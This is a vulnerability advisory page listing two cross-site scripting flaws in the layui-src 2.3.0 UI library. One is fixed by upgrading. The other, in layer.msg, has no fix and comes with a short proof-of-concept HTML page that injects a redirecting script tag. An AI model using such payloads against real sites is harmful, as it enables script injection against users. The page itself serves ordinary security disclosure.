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layui-src@2.3.0 vulnerabilities

Classic modular Front-End UI library

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Direct Vulnerabilities

Known vulnerabilities in the layui-src package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Cross-site Scripting (XSS)

layui-src is an is a front-end UI framework written using its own module specifications. It follows the native HTML/CSS/JS writing and organization form.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via table rendering.

How to fix Cross-site Scripting (XSS)?

Upgrade layui-src to version 2.6.8 or higher.

<2.6.8
  • M
Cross-site Scripting (XSS)

layui-src is an is a front-end UI framework written using its own module specifications. It follows the native HTML/CSS/JS writing and organization form.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). layer.msg does not sanitize its input. An attacker that can control part of the input message which can be used to deliver a Cross-Site Scripting attack.

PoC

With layui.css under ./dist/css/ and layui.js under ./dist/ (relative to `index.html)

index.html:

<! DOCTYPE  html>
<html>
<head>
  <meta charset ="utf-8"> 
  <meta name="viewport"content ="width=device-width, initial-scale=1, maximum-scale=1">  
  <title> Start using layui </title>
  <link rel ="stylesheet"href ="dist/css/layui.css">  
</head>
<body>
 
<script src="dist/layui.js"></script> 
<script>
// Generally written directly in a js file
layui.use(['layer', 'form'], function(){  
  var layer = layui.layer, form = layui.form ; 
  layer.msg("<script>window.location.href='http://www.google.com'<\/script>");
});
</script> 
</body>
</html>

How to fix Cross-site Scripting (XSS)?

There is no fixed version for layui-src.

*
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